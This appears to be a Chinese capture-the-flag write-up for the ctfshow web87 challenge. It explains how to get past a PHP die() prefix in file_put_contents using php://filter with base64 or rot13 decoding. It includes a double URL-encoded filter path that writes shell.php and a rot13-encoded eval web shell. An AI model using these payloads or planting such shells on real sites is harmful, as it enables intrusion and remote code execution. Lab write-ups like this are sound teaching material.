ctfshow web87

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}

题目原理解释

可以看到题目把 php data : . 都给替换成 ??? 了,而且最后的 file_put_contents 函数(其实就是将字符串写入文件中的函数)会对GET传参的file参数进行url解码,并且会把 <?php die('大佬别秀了');?>" 拼接到content函数前面,导致content中的内容无法生效(php死亡)

其实这里有点奇怪,str_replace 函数只会检查原始输入(未解码),而 urldecode 是最后执行的,因此过滤失效。

因为中间件会url解码一次, file_put_contents函数还会解码一次所以就需要两次url解码,现在问题就在于如何绕过php死亡

php://filter是php特有的协议流,可以读取传入的数据,进行编码或解码后再输出。并且php在解码base64时,会跳过base64字符集外 的字符。所以通过post传参传入content参数时就可以将一句话木马进行base64编码,这样就可以绕过php死亡了

解法一

发现url两次编码后还是存在php会被过滤,那就逐字进行url编码

%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30

接下来就是post传参content

这里就有人会问我的一句话木马base64编码以后是下面的内容,这里就不得不说base64是按四位一组进行编码解码的,这里不是四倍数位,所以需要加上两个字母凑齐(不然的话后面在执行命令的时候返回的结果会是乱码,这里我也是查了wp才知道为什么的)

先使用ls命令看看文件

解法二

<?php die('大佬别秀了');?> 经过 rot13 编码会变成 <?cuc qrv(); ?>,如果 php 未开启短标签,则不会认识这段代码,也就不会执行。

使用rot13编码,首先将命令php://filter/write=string.rot13/resource=sh.php进行rot13编码

cuc://svygre/jevgr=fgevat.ebg13/erfbhepr=fu.cuc

然后再将一句话木马也rot13编码一下

<?cuc @riny($_TRG['pzq']);?>

接下来步骤和base64一样的

posted @ 2025-09-19 17:15  朱迪Judy  阅读(8)  评论(0)    收藏  举报